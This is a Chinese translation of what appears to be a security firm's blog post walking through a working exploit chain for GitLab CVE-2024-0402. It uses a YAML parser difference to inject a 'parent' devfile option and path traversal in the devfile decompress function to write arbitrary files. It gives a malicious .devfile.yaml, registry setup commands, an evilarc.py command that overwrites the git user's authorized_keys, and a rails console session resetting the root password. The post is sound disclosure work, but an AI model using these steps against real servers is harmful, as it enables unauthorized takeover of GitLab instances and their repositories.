GitLab CVE-2024-0402 漏洞链剖析:从YAML解析差异到任意文件写入

本文深入分析了GitLab CVE-2024-0402漏洞的完整利用链。通过利用Ruby与Go的YAML解析差异绕过安全检查,并结合devfile库中的路径遍历漏洞,实现在GitLab服务器上的任意文件写入,最终可能升级为SSH未授权访问或管理员账户接管。

!exploitable Episode Three - Devfile Adventures

18 Mar 2025 - Posted by Francesco Lacerenza

引言

我知道,我们已经说过很多次了,但以防你刚刚开始关注,Doyensec团队当时正在一艘地中海游轮上进行公司团建。为了在派对间隙消磨时间,我们进行了一些黑客技术分析,研究现实世界中的漏洞,并形成了这个!exploitable系列博文。

在第一部分中,我们介绍了在物联网ARM设备上的漏洞利用之旅,而第二部分则讲述了我们试图利用电影《黑客帝国:重装上阵》中Trinity所用漏洞的经历。

在这一集中,我们将深入探讨GitLab中CVE-2024-0402的漏洞利用过程。就像洋葱一样,这个漏洞的表面之下总是还有另一层,从YAML解析器的差异到解压缩函数中的路径遍历,最终实现在GitLab中的任意文件写入。

当时没有公开的漏洞概念验证(PoC)发布,而编写PoC的过程本身变成了一场冒险,值得在原作者的博文基础上进行扩展,补充与PoC相关的信息来完成这个循环。

一些背景

该漏洞影响了GitLab的Workspaces功能。长话短说,该功能允许开发人员即时启动集成开发环境(IDE),并已配置好所有依赖项、工具和配置。

整个Workspaces功能依赖于多个组件,包括一个运行的Kubernetes GitLab Agent和一个devfile配置文件。

Kubernetes GitLab Agent:Kubernetes GitLab Agent将GitLab连接到Kubernetes集群,允许用户启用部署过程自动化,并更轻松地集成GitLab CI/CD流水线。它也允许创建Workspaces。

Devfile:这是一个定义容器化开发环境的开放标准。简单来说,它使用YAML文件来配置特定项目所需的工具、运行环境和依赖项。

一个devfile配置示例(需放置在GitLab仓库中名为.devfile.yaml的文件里):

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
apiVersion: 1.0.0
metadata:
  name: my-app
components:
  - name: runtime
    container:
      image: registry.access.redhat.com/ubi8/nodejs-14
      endpoints:
        - name: http
          targetPort: 3000

漏洞详情

让我们从公开的信息开始,并结合额外的代码上下文进行丰富。

GitLab使用devfile Gem(当然是Ruby写的),通过调用外部的devfile二进制程序(用Go编写)来处理在特定仓库中创建Workspace期间的.devfile.yaml文件。

在Workspaces应用的devfile预处理过程中,一个名为validate_parent的特定验证器在GitLab中被PreFlattenDevfileValidator调用。

1
2
3
4
5
6
7
8
# gitlab-v16.8.0-ee/ee/lib/remote_development/workspaces/create/pre_flatten_devfile_validator.rb:50
...
        def self.validate_parent(value)
          value => { devfile: Hash => devfile }
          return err(_("Inheriting from 'parent' is not yet supported")) if devfile['parent']
          Result.ok(value)
        end
...

parent选项是什么?根据Devfile文档:

如果你指定了一个父devfile,那么给定的devfile将从其父级继承所有行为。但你仍然可以使用子devfile来覆盖父devfile的某些内容。

接着,文档描述了三种父级引用类型:

  1. 通过注册表引用父级 - 远程devfile注册表
  2. 通过URI引用父级 - 静态HTTP服务器
  3. 通过Kubernetes资源标识父级 - 可用的命名空间

与任何其他远程获取功能一样,这值得审查以发现漏洞。但乍一看,该选项似乎被validate_parent阻止了。

YAML解析器差异带来的机会

众所周知,即使是最常用的特定标准的实现,也可能与规范中定义的内容存在细微偏差。在这种情况下,我们需要利用Ruby和Go之间的YAML解析器差异。

原作者为我们的“差异笔记”贡献了一个新技巧。在YAML规范中:

  • 单个感叹号!用于自定义或应用特定的数据类型
    1
    
    my_custom_data: !MyType "some value"
    
  • 双感叹号!!用于内置的YAML类型
    1
    
    bool_value: !!bool "true"
    

他发现,本地YAML标记符号!(RFC参考)在Ruby的yaml库中仍然会激活二进制格式的base64解码,而Go的gopkg.in/yaml.v3只是丢弃它,导致了以下行为:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
➜ cat test3.yaml
normalk: just a value
!binary parent: got injected

### 有效!解析后的版本中添加了parent选项(!binary被丢弃)
➜ go run g.go test3.yaml
parent: got injected
normalk: just a value

### 无效!parent选项作为Base64解码后的值(!binary被求值)
➜ ruby -ryaml -e 'x = YAML.safe_load(File.read("test3.yaml"));puts x'
{"normalk"=>"just a value", "\xA5\xAA\xDE\x9E"=>"got injected"}

因此,可以通过validate_parent函数向GitLab传递一个带有parent选项的devfile,并使其在devfile二进制程序执行时生效。

任意文件写入

此时,我们需要转向在devfile二进制程序(Go实现)中发现的一个漏洞。

在深入研究了依赖项的依赖项之后,研究人员发现了decompress函数。该函数从注册表的库中获取tar.gz存档,并在GitLab服务器内部解压缩文件。随后,这些文件应被移动到部署的Workspace环境中。

以下是getResourcesFromRegistry使用的易受攻击的解压缩函数:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
// decompress提取存档文件
func decompress(targetDir string, tarFile string, excludeFiles []string) error {
    var returnedErr error

    reader, err := os.Open(filepath.Clean(tarFile))
    ...
    gzReader, err := gzip.NewReader(reader)
    ...
    tarReader := tar.NewReader(gzReader)
    for {
        header, err := tarReader.Next()
        ...
        target := path.Join(targetDir, filepath.Clean(header.Name))
        switch header.Typeflag {
        ...
        case tar.TypeReg:
            /* #nosec G304 -- target is produced using path.Join which cleans the dir path */
            w, err := os.OpenFile(target, os.O_CREATE|os.O_RDWR, os.FileMode(header.Mode))
            if err != nil {
                returnedErr = multierror.Append(returnedErr, err)
                return returnedErr
            }
            /* #nosec G110 -- starter projects are vetted before they are added to a registry.  Their contents can be seen before they are downloaded */
            _, err = io.Copy(w, tarReader)
            if err != nil {
                returnedErr = multierror.Append(returnedErr, err)
                return returnedErr
            }
            err = w.Close()
            if err != nil {
                returnedErr = multierror.Append(returnedErr, err)
                return returnedErr
            }
        default:
            log.Printf("Unsupported type: %v", header.Typeflag)
        }
    }
    return nil
}

该函数打开tarFile,并使用tarReader.Next()遍历其内容。只有类型为tar.TypeDirtar.TypeReg的内容会被处理,从而防止符号链接和其他嵌套利用。

然而,代码行target := path.Join(targetDir, filepath.Clean(header.Name))容易受到路径遍历攻击,原因如下:

  1. header.Name来自由devfile注册表提供的远程tar存档
  2. 众所周知,filepath.Clean无法防止相对路径上的路径遍历(../不会被移除)

执行结果类似如下:

1
2
3
4
5
6
7
fmt.Println(filepath.Clean("/../../../../../../../tmp/test")) // 绝对路径
fmt.Println(filepath.Clean("../../../../../../../tmp/test"))  // 相对路径

// 输出

/tmp/test
../../../../../../../tmp/test

有很多脚本可以创建利用这种目录遍历模式的有效恶意存档(例如,evilarc.py)。

串联各个环节

  1. devfile库中从远程注册表获取文件的解压缩问题,允许包含恶意.tar存档的devfile注册表在devfile客户端系统内写入任意文件。
  2. 在GitLab中,开发者可以精心构造一个“坏但有效”的.devfile.yaml定义,其中包含parent选项,该选项将强制GitLab服务器使用恶意注册表,从而触发在服务器本身的任意文件写入。

利用此漏洞的要求是:

  1. 以能够向仓库提交代码的开发者身份访问目标GitLab
  2. GitLab实例上正确配置了Workspace功能(v16.8.0及以下版本)

让我们来利用它!

配置环境

为了确保你了解全貌,我必须告诉你,在游轮上、网速很慢的情况下配置GitLab中的Workspaces是什么感觉——简直是噩梦!

当然,有关于如何操作的文档,但今天你将额外获得一些发现:

  1. 遵循GitLab 16.8的文档页面,而不是最新的,因为配置已更改。不要像我们一样,在海上浪费宝贵的欢乐时光。
  2. 这个功能变化太大了,他们甚至移除了GitLab 16.8所需的容器镜像。因此,你需要修补缺失的web-ide-injector容器镜像。
    1
    2
    
    ubuntu@gitlabServer16.8:~$ find / -name "editor_component_injector.rb" 2>/dev/null
    /opt/gitlab/embedded/service/gitlab-rails/ee/lib/remote_development/workspaces/create/editor_component_injector.rb
    
    web-ide-injector镜像在129行的值替换为:
    1
    
    registry.gitlab.com/gitlab-org/gitlab-web-ide-vscode-fork/gitlab-vscode-build:latest
    
  3. GitLab Agent必须启用remote_development选项以允许Workspaces。 以下是一个有效的config.yaml文件示例:
    1
    2
    3
    4
    5
    6
    7
    
    remote_development:
      enabled: true
      dns_zone: "workspaces.gitlab.yourdomain.com"
    observability:
    logging:
      level: debug
      grpc_level: warn
    

祝你在配置时好运。

开始构造

如前所述,这个漏洞链就像洋葱一样层层叠叠。这是一张典型的2025年AI生成的图片,为我们勾勒出了轮廓:

根据公开信息,如果我们想利用它,需要完成以下任务:

  1. 部署一个自定义的devfile注册表,按照原始仓库的说明进行,结果证明这很容易。
  2. 通过包含我们的路径遍历.tar文件使其变得恶意,以覆盖GitLab实例中的某些内容。
  3. 在目标GitLab仓库中添加一个指向该恶意注册表的.devfile.yaml文件。

为了确定恶意tar文件应该放在哪里,我们必须退一步,阅读更多的代码。特别是,我们必须了解易受攻击的decompress函数被调用时的上下文。

最终我们阅读了PullStackByMediaTypesFromRegistry函数,该函数用于从给定的注册表URL拉取具有允许媒体类型的指定技术栈到某个目标目录。

参见library.go:293

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
func PullStackByMediaTypesFromRegistry(registry string, stack string, allowedMediaTypes []string, destDir string, options RegistryOptions) error {
	//...
	// 从注册表拉取技术栈并保存到磁盘的逻辑
	//...

	// 解压缩 archive.tar
	archivePath := filepath.Join(destDir, "archive.tar")
	if _, err := os.Stat(archivePath); err == nil {
		err := decompress(destDir, archivePath, ExcludedFiles)
		if err != nil {
			return err
		}
		err = os.RemoveAll(archivePath)
		if err != nil {
			return err
		}
	}
	return nil
}

突出的代码模式表明,其中涉及devfile注册表的技术栈,并且它们的结构中包含一些archive.tar文件。 为什么devfile技术栈要包含一个tar文件?

包中可能包含一个archive.tar文件,用于分发入门项目或预配置的应用程序模板。它帮助开发人员快速设置工作区,包含示例代码、配置和依赖项。

在devfile注册表构建过程中进行的一些快速的GitHub搜索显示,我们的目标.tar文件应放置在注册表项目内的stacks/<STACK_NAME>/<STACK_VERSION>/archive.tar路径下,与部署特定版本所包含的devfile.yaml文件位于同一目录。

因此,我们自定义注册表中用于路径遍历的tar文件的目标位置是:

1
malicious-registry/stacks/nodejs/2.2.1/archive.tar

构建并运行恶意devfile注册表

构建我们的自定义注册表需要一些额外的工作(无法使构建脚本正常工作,不得不手动编辑),但我们最终成功将我们的archive.tar(例如,使用evilarc.py创建)放在了正确的位置,并制作了一个正确的index.json来提供服务。最终可复用的结构可以在我们的PoC仓库中找到,这样可以节省你构建devfile注册表镜像的时间。

运行恶意注册表的命令:

  1. docker run -d -p 5000:5000 --name local-registrypoc registry:2 用于运行一个本地容器注册表,该注册表将被devfile注册表用来存储实际的技术栈(见黄色高亮部分)
  2. docker run --network host devfile-index 用于运行使用官方仓库构建的恶意devfile注册表。在我们的PoC仓库中可以找到它。

触发漏洞 💥

一旦你有一个目标GitLab实例可以访问的运行中的注册表,你只需要在GitLab中以开发者身份进行身份验证,并编辑仓库的.devfile.yaml文件,利用之前展示的YAML解析器差异指向它。以下是一个你可以使用的示例:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
schemaVersion: 2.2.0
!binary parent:
    id: nodejs
    registryUrl: http://<YOUR_MALICIOUS_REGISTRY>:<PORT>
components:
  - name: development-environment
    attributes:
      gl/inject-editor: true
    container:
      image: "registry.gitlab.com/gitlab-org/gitlab-build-images/workspaces/ubuntu-24.04:20250109224147-golang-1.23@sha256:c3d5527641bc0c6f4fbbea4bb36fe225b8e9f1df69f682c927941327312bc676"

要触发文件写入,只需在编辑过的仓库中启动一个新的Workspace并等待。

很好!我们已经成功地在/tmp/plsWorkItsPartyTime.txt中写入了Hello CVE-2024-0402!

接下来可以做什么…

我们实现了文件写入,但我们不能就此止步,因此我们研究了一些可靠的升级方法。

首先,我们检查了执行文件写入的系统用户,使用了一个在GitLab服务器上的会话。

1
2
/tmp$ ls -lah /tmp/plsWorkItsPartyTime.txt
-rw-rw-r-- 1 git git 21 Mar 10 15:13 /tmp/plsWorkItsPartyTime.txt

显然,我们的默认用户是git,这是GitLab内部一个相当重要的用户。

在检查了可写文件以寻找快速突破口后,我们发现它似乎被加固了,没有大量可编辑的配置文件,正如预期的那样。

1
2
3
4
5
6
7
8
...
/var/opt/gitlab/gitlab-exporter/gitlab-exporter.yml
/var/opt/gitlab/.gitconfig
/var/opt/gitlab/.ssh/authorized_keys
/opt/gitlab/embedded/service/gitlab-rails/db/main_clusterwide.sql
/opt/gitlab/embedded/service/gitlab-rails/db/ci_structure.sql
/var/opt/gitlab/git-data/repositories/.gitaly-metadata
...

一些有趣的文件等待着被覆盖,但你可能已经注意到了最快但不算体面的入口:/var/opt/gitlab/.ssh/authorized_keys

值得注意的是,你可以将SSH密钥添加到你的GitLab账户,然后使用它通过SSH以git用户身份执行代码相关操作。authorized_keys文件由GitLab Shell管理,它会从用户配置文件中添加SSH密钥,并将其强制放入一个受限的shell中,以进一步管理/限制用户的访问级别。

以下是将你的配置文件SSH密钥添加到GitLab时,添加到authorized_keys文件中的一行示例:

1
command="/opt/gitlab/embedded/service/gitlab-shell/bin/gitlab-shell key-1",no-port-forwarding,no-X11-forwarding,no-agent-forwarding,no-pty ssh-ed25519 AAAAC3...[REDACTED]

由于我们获得了任意文件写入能力,我们可以直接用包含一个我们可以使用的非受限密钥的authorized_keys文件替换原来的。回到我们的漏洞准备阶段,为此创建一个新的.tar文件:

1
2
## 在本地authorized_keys文件中为你其中一个密钥写入一个有效条目
➜ python3 evilarc.py authorized_keys -f archive.tar.gz -p var/opt/gitlab/.ssh/ -o unix

此时,在你的恶意devfile注册表中替换archive.tar,重建其镜像并运行它。准备好后,通过在GitLab Web界面中创建一个新的Workspace来再次触发漏洞。

几秒钟后,你应该能够以不受限制的git用户身份进行SSH连接。

下面我们还展示了如何更改GitLab Web根用户的密码:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
➜ ssh  -i ~/.ssh/gitlab2 git@gitinstance.local
➜ git@gitinstance.local:~$ gitlab-rails console --environment production
--------------------------------------------------------------------------------
 Ruby:         ruby 3.1.4p223 (2023-03-30 revision 957bb7cb81) [x86_64-linux]
 GitLab:       16.8.0-ee (1e912d57d5a) EE
 GitLab Shell: 14.32.0
 PostgreSQL:   14.9
------------------------------------------------------------[ booted in 39.28s ]

Loading production environment (Rails 7.0.8)
irb(main):002:0> user = User.find_by_username 'root'
=> #<User id:1 @root>
irb(main):003:0> new_password = 'ItIsPartyTime!'
=> "ItIsPartyTime!"
irb(main):004:0> user.password = new_password
=> "ItIsPartyTime!"
irb(main):005:0> user.password_confirmation = new_password
=> "ItIsPartyTime!"
irb(main):006:0> user.password_automatically_set = false
irb(main):007:0> user.save!
=> true

最后,你就可以在目标Web实例中以root用户身份进行身份验证了。

结论

我们的目标是为CVE-2024-0402构建一个PoC。尽管时间和网络连接受限,我们还是成功地完成了。尽管如此,在准备GitLab Workspaces环境时出现了大量的配置错误,在数小时的设置后功能本身几乎无法工作,我们几乎要放弃了。这再次证明,正因为配置时间限制,只有少数人涉足的地方才能发现非常优秀的漏洞。

向发现该漏洞链的joernchen致敬。

这个漏洞不仅很棒,而且他在这篇文章中还出色地描述了他所遵循的研究路径。我们很高兴能够利用它,并且希望我们的公开漏洞利用能够为人们节省时间!

资源

其他相关博文:

  • ksmbd - Exploiting CVE-2025-37947 (3/3) - 08 Oct 2025
  • SCIM Hunting - Beyond SSO - 08 May 2025
  • !exploitable Episode Two - Enter the Matrix - 27 Feb 2025
  • !exploitable Episode One - Breaking IoT - 11 Feb 2025
comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计